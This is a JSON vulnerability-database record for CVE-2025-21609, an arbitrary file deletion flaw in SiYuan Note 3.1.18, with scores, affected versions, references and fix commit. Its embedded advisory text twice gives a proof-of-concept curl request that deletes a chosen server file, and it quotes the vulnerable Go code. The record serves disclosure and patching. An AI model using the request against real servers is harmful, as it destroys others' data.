{"id":"CVE-2025-21609","aliases":["EUVD-2025-0017","GHSA-8fx8-pffw-w498","GO-2025-3362","SUSE-SU-2025:0060-1","openSUSE-SU-2025:14624-1"],"status":"published","title":"SiYuan has an arbitrary file deletion vulnerability","description":"SiYuan is self-hosted, open source personal knowledge management software. SiYuan Note version 3.1.18 has an arbitrary file deletion vulnerability. The vulnerability exists in the `POST /api/history/getDocHistoryContent` endpoint. An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server. Commit d9887aeec1b27073bec66299a9a4181dc42969f3 fixes this vulnerability and is expected to be available in version 3.1.19.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00626,"percentile":0.5054,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-459","CWE-552"],"published":"2025-01-03T16:24:34Z","modified":"2026-10-28T02:30:39Z","fixes":[{"ecosystem":"Go","package":"github.com/siyuan-note/siyuan/kernel","fixed_in":["0.0.0-20250103014808-d9887aeec1b2"],"sources":["ghsa"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/siyuan-note/siyuan/kernel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.0-20250103014808-d9887aeec1b2"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/siyuan-note/siyuan/kernel","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/siyuan-note/siyuan/kernel","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Package Hub 15 SP6","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20250108T191942-150000.1.26.1"}]}],"bundled":18},{"source":"osv","ecosystem":"openSUSE:Leap 15.6","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20250108T191942-150000.1.26.1"}]}],"bundled":18},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20250108T191942-1.1"}]}],"bundled":13}],"products":[{"vendor":"b3log","product":"siyuan"},{"vendor":"siyuan-note","product":"siyuan"}],"references":[{"url":"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-8fx8-pffw-w498","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/siyuan-note/siyuan/commit/d9887aeec1b27073bec66299a9a4181dc42969f3","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-21609","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-8fx8-pffw-w498"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/21xxx/CVE-2025-21609.json","tags":["advisory"]},{"url":"https://github.com/siyuan-note/siyuan","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2025/suse-su-20250060-1/","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2024-12678","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-25131","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-25133","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-28892","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-43803","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-45338","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-45387","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-54148","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-55196","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-55947","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-56362","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-56513","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-56514","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-9779","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-21609","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-21613","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-21614","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-22130","tags":["web"]},{"url":"https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/UV63VQGB6Y3V7AIZHIKF3PMFVIHM32MI/","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2025-21609","title":"SiYuan has an arbitrary file deletion vulnerability","description":"SiYuan is self-hosted, open source personal knowledge management software. SiYuan Note version 3.1.18 has an arbitrary file deletion vulnerability. The vulnerability exists in the `POST /api/history/getDocHistoryContent` endpoint. An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server. Commit d9887aeec1b27073bec66299a9a4181dc42969f3 fixes this vulnerability and is expected to be available in version 3.1.19.","status":"published","published":"2025-01-03T16:26:36.42Z","modified":"2025-01-03T17:14:23.915Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-459","CWE-552"],"updated_at":"2026-11-02T14:32:32.30152Z"}],"euvd":[{"id":"EUVD-2025-0017","description":"SiYuan is self-hosted, open source personal knowledge management software. SiYuan Note version 3.1.18 has an arbitrary file deletion vulnerability. The vulnerability exists in the `POST /api/history/getDocHistoryContent` endpoint. An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server. Commit d9887aeec1b27073bec66299a9a4181dc42969f3 fixes this vulnerability and is expected to be available in version 3.1.19.","status":"published","published":"2025-01-03T16:26:36Z","modified":"2025-01-03T17:14:23Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-03T00:04:26.497295Z"}],"ghsa":[{"id":"GHSA-8fx8-pffw-w498","title":"SiYuan has an arbitrary file deletion vulnerability","description":"### Summary\nA **arbitrary file deletion vulnerability** has been identified in the latest version of Siyuan Note. The vulnerability exists in the `POST /api/history/getDocHistoryContent` endpoint.An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server.\n\n### Details\nThe vulnerability can be reproduced by sending a crafted request to the `/api/history/getDocHistoryContent` endpoint.\n\nSending a request  to the `/api/history/getDocHistoryContent` like:\n\n```\ncurl \"http://127.0.0.1:6806/api/history/getDocHistoryContent\" -X POST -H \"Content-Type: application/json\" -d '{\"historyPath\":\"\u003cabs_filepath_of_a_file\u003e\"}'\n```\n\nReplace `\u003cabs_filepath_of_a_file\u003e` with the absolute file path of the target file you wish to delete.\n\n\n\nThe `historyPath` parameter in the payload is processed by the `func getDocHistoryContent` in `api/history.go:133`.\n\nIn turn, `historyPath` is passed to the `func GetDocHistoryContent`  located in `model/history.go:150` , which is the slink of the vulnerability.\n\nif `historyPath` exists and does not satisfy the `filesys.ParseJSONWithoutFix`, then it will be deleted by `os.RemoveAll`\n\n```go\nfunc GetDocHistoryContent(historyPath, keyword string, highlight bool) (id, rootID, content string, isLargeDoc bool, err error) {\n\tif !gulu.File.IsExist(historyPath) {\n\t\tlogging.LogWarnf(\"doc history [%s] not exist\", historyPath)\n\t\treturn\n\t}\n\n\tdata, err := filelock.ReadFile(historyPath)\n\tif err != nil {\n\t\tlogging.LogErrorf(\"read file [%s] failed: %s\", historyPath, err)\n\t\treturn\n\t}\n\tisLargeDoc = 1024*1024*1 \u003c= len(data)\n\n\tluteEngine := NewLute()\n\thistoryTree, err := filesys.ParseJSONWithoutFix(data, luteEngine.ParseOptions)\n\tif err != nil {\n\t\tlogging.LogErrorf(\"parse tree from file [%s] failed, remove it\", historyPath)\n\t\tos.RemoveAll(historyPath)\n\t\treturn\n\t}\n\t...\n}\n```\n\n\n\n### PoC\n```\ncurl \"http://127.0.0.1:6806/api/history/getDocHistoryContent\" -X POST -H \"Content-Type: application/json\" -d '{\"historyPath\":\"\u003cabs_filepath_of_a_file\u003e\"}'\n```\n\n### Impact\narbitrary file deletion vulnerability\n","status":"published","published":"2025-01-03T16:24:34Z","modified":"2025-01-03T19:26:06Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-459","CWE-552"],"updated_at":"2026-11-02T14:38:26.167657Z"}],"nvd":[{"id":"CVE-2025-21609","description":"SiYuan is self-hosted, open source personal knowledge management software. SiYuan Note version 3.1.18 has an arbitrary file deletion vulnerability. The vulnerability exists in the `POST /api/history/getDocHistoryContent` endpoint. An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server. Commit d9887aeec1b27073bec66299a9a4181dc42969f3 fixes this vulnerability and is expected to be available in version 3.1.19.","status":"published","published":"2025-01-03T17:15:09.147Z","modified":"2026-06-17T08:43:50.857Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical","assessor":"primary"}],"cwes":["CWE-459","CWE-552"],"updated_at":"2026-11-02T14:10:48.373347Z"}],"osv":[{"id":"CVE-2025-21609","title":"SiYuan has an arbitrary file deletion vulnerability","description":"SiYuan is self-hosted, open source personal knowledge management software. SiYuan Note version 3.1.18 has an arbitrary file deletion vulnerability. The vulnerability exists in the `POST /api/history/getDocHistoryContent` endpoint. An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server. Commit d9887aeec1b27073bec66299a9a4181dc42969f3 fixes this vulnerability and is expected to be available in version 3.1.19.","status":"published","published":"2025-01-03T16:26:36.42Z","modified":"2026-10-28T02:30:39.702033696Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-459","CWE-552"],"updated_at":"2026-11-02T15:44:46.665428Z"},{"id":"GHSA-8fx8-pffw-w498","title":"SiYuan has an arbitrary file deletion vulnerability","description":"### Summary\nA **arbitrary file deletion vulnerability** has been identified in the latest version of Siyuan Note. The vulnerability exists in the `POST /api/history/getDocHistoryContent` endpoint.An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server.\n\n### Details\nThe vulnerability can be reproduced by sending a crafted request to the `/api/history/getDocHistoryContent` endpoint.\n\nSending a request  to the `/api/history/getDocHistoryContent` like:\n\n```\ncurl \"http://127.0.0.1:6806/api/history/getDocHistoryContent\" -X POST -H \"Content-Type: application/json\" -d '{\"historyPath\":\"\u003cabs_filepath_of_a_file\u003e\"}'\n```\n\nReplace `\u003cabs_filepath_of_a_file\u003e` with the absolute file path of the target file you wish to delete.\n\n\n\nThe `historyPath` parameter in the payload is processed by the `func getDocHistoryContent` in `api/history.go:133`.\n\nIn turn, `historyPath` is passed to the `func GetDocHistoryContent`  located in `model/history.go:150` , which is the slink of the vulnerability.\n\nif `historyPath` exists and does not satisfy the `filesys.ParseJSONWithoutFix`, then it will be deleted by `os.RemoveAll`\n\n```go\nfunc GetDocHistoryContent(historyPath, keyword string, highlight bool) (id, rootID, content string, isLargeDoc bool, err error) {\n\tif !gulu.File.IsExist(historyPath) {\n\t\tlogging.LogWarnf(\"doc history [%s] not exist\", historyPath)\n\t\treturn\n\t}\n\n\tdata, err := filelock.ReadFile(historyPath)\n\tif err != nil {\n\t\tlogging.LogErrorf(\"read file [%s] failed: %s\", historyPath, err)\n\t\treturn\n\t}\n\tisLargeDoc = 1024*1024*1 \u003c= len(data)\n\n\tluteEngine := NewLute()\n\thistoryTree, err := filesys.ParseJSONWithoutFix(data, luteEngine.ParseOptions)\n\tif err != nil {\n\t\tlogging.LogErrorf(\"parse tree from file [%s] failed, remove it\", historyPath)\n\t\tos.RemoveAll(historyPath)\n\t\treturn\n\t}\n\t...\n}\n```\n\n\n\n### PoC\n```\ncurl \"http://127.0.0.1:6806/api/history/getDocHistoryContent\" -X POST -H \"Content-Type: application/json\" -d '{\"historyPath\":\"\u003cabs_filepath_of_a_file\u003e\"}'\n```\n\n### Impact\narbitrary file deletion vulnerability\n","status":"published","published":"2025-01-03T16:24:34Z","modified":"2025-01-07T16:27:07.599038Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-459","CWE-552"],"updated_at":"2026-11-02T15:46:42.437513Z"},{"id":"GO-2025-3362","title":"SiYuan has an arbitrary file deletion vulnerability in github.com/siyuan-note/siyuan/kernel","description":"SiYuan has an arbitrary file deletion vulnerability in github.com/siyuan-note/siyuan/kernel","status":"published","published":"2025-01-07T16:03:18Z","modified":"2026-03-03T04:56:10.741865Z","updated_at":"2026-11-02T15:47:01.728182Z"},{"id":"openSUSE-SU-2025:14624-1","title":"govulncheck-vulndb-0.0.20250108T191942-1.1 on GA media","description":"These are all security issues fixed in the govulncheck-vulndb-0.0.20250108T191942-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2025-01-09T00:00:00Z","modified":"2026-02-04T03:30:26.791709Z","updated_at":"2026-11-02T16:58:36.976155Z"},{"id":"SUSE-SU-2025:0060-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20250108T191942 2025-01-08T19:19:42Z.\n  Refs jsc#PED-11136\n  Go CVE Numbering Authority IDs added or updated with aliases:\n  * GO-2025-3371 GHSA-2r2v-9pf8-6342\n  * GO-2025-3374 CVE-2025-22130 GHSA-j4jw-m6xr-fv6c\n\n- Update to version 0.0.20250107T160406 2025-01-07T16:04:06Z.\n  Refs jsc#PED-11136\n  Go CVE Numbering Authority IDs added or updated with aliases:\n  * GO-2025-3363 GO-2025-3364 GO-2025-3367 GO-2025-3368\n  * GO-2024-3355 CVE-2024-54148 GHSA-r7j8-5h9c-f6fx\n  * GO-2024-3356 CVE-2024-55947 GHSA-qf5v-rp47-55gg\n  * GO-2024-3357 CVE-2024-56362 GHSA-xwx7-p63r-2rj8\n  * GO-2024-3358 CVE-2024-45387 GHSA-vq94-9pfv-ccqr\n  * GO-2024-3359 CVE-2024-28892 GHSA-5qww-56gc-f66c\n  * GO-2024-3360 CVE-2024-25133 GHSA-wgqq-9qh8-wvqv\n  * GO-2025-3361 CVE-2024-55196 GHSA-rv83-h68q-c4wq\n  * GO-2025-3362 CVE-2025-21609 GHSA-8fx8-pffw-w498\n  * GO-2025-3363 CVE-2024-56514 GHSA-cwrh-575j-8vr3\n  * GO-2025-3364 CVE-2024-56513 GHSA-mg7w-c9x2-xh7r\n  * GO-2025-3367 CVE-2025-21614 GHSA-r9px-m959-cxf4\n  * GO-2025-3368 CVE-2025-21613 GHSA-v725-9546-7q7m\n\n- Update to version 0.0.20241220T214820 2024-12-20T21:48:20Z.\n  Refs jsc#PED-11136\n  Go CVE Numbering Authority IDs added or updated with aliases:\n  * GO-2024-3101 GHSA-75qh-gg76-p2w4\n  * GO-2024-3339 GHSA-8wcc-m6j2-qxvm\n\n- Update to version 0.0.20241220T203729 2024-12-20T20:37:29Z.\n  Refs jsc#PED-11136\n  Go CVE Numbering Authority IDs added or updated with aliases:\n  * GO-2024-3101 GHSA-75qh-gg76-p2w4\n  * GO-2024-3109 CVE-2024-43803 GHSA-pqfh-xh7w-7h3p\n  * GO-2024-3333 CVE-2024-45338 GHSA-w32m-9786-jp63\n  * GO-2024-3342 GHSA-hxr6-2p24-hf98\n  * GO-2024-3343 CVE-2024-9779 GHSA-jhh6-6fhp-q2xp\n  * GO-2024-3344 GHSA-32gq-x56h-299c\n  * GO-2024-3349 CVE-2024-25131 GHSA-77c2-c35q-254w\n  * GO-2024-3350 GHSA-5pf6-cq2v-23ww\n  * GO-2024-3354 CVE-2024-12678 GHSA-hr68-hvgv-xxqf\n","status":"published","published":"2025-01-10T11:33:29Z","modified":"2026-02-05T02:50:12.74079Z","updated_at":"2026-11-02T15:53:56.123059Z"}]}}
